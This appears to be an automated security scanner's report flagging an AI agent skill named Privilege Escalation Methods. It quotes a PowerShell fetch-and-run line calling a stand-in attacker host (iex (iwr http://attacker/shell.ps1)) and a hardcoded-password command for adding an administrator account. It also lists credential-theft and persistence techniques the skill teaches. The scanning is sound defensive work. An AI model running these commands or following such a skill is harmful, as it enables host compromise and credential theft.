Privilege Escalation Methods

HIGH W007: Insecure credential handling detected in skill instructions.

• Insecure credential handling detected (high risk: 1.00). This skill includes and instructs use of plaintext credentials and secret hashes directly in commands and examples (e.g., user:password, Password123, /rc4:<NTLM_HASH>, net user Administrator Password!@#), meaning an agent would need to accept and emit secret values verbatim — creating a high exfiltration risk.

CRITICAL E005: Suspicious download URL detected in skill instructions.

• Suspicious download URL detected (high risk: 1.00). Yes — one URL is a direct HTTP link to a PowerShell script (http://attacker/shell.ps1) hosted on an untrusted/attacker-controlled domain (plaintext, no TLD shown) which is a high-risk malware distribution vector, while the other (https://facebook.com) is legitimate; the presence of the direct .ps1 from an untrusted host makes this set suspicious.

CRITICAL E006: Malicious code pattern detected in skill scripts.

• Malicious code pattern detected (high risk: 1.00). The document explicitly instructs step-by-step post‑exploitation techniques — privilege escalation, credential harvesting (Mimikatz, Kerberoasting, NTLM relays), persistence (setuid shells, cron, scheduled tasks), remote code execution and domain compromise — which are deliberate malicious behaviors and backdoor patterns.

MEDIUM W012: Unverifiable external dependency detected (runtime URL that controls agent).

• Potentially malicious external URL detected (high risk: 1.00). The skill contains a scheduled-task example that runs PowerShell with "iex (iwr http://attacker/shell.ps1)", which at runtime fetches and immediately executes remote code from http://attacker/shell.ps1.

MEDIUM W013: Attempt to modify system services in skill instructions.

• Attempt to modify system services in skill instructions detected (high risk: 1.00). The skill explicitly instructs the agent to perform privilege escalation (e.g., setuid binaries, chmod +s, modify cron/system services, create scheduled tasks and new users, load drivers, extract credentials and create persistence), which directly modifies system state and encourages compromising the host.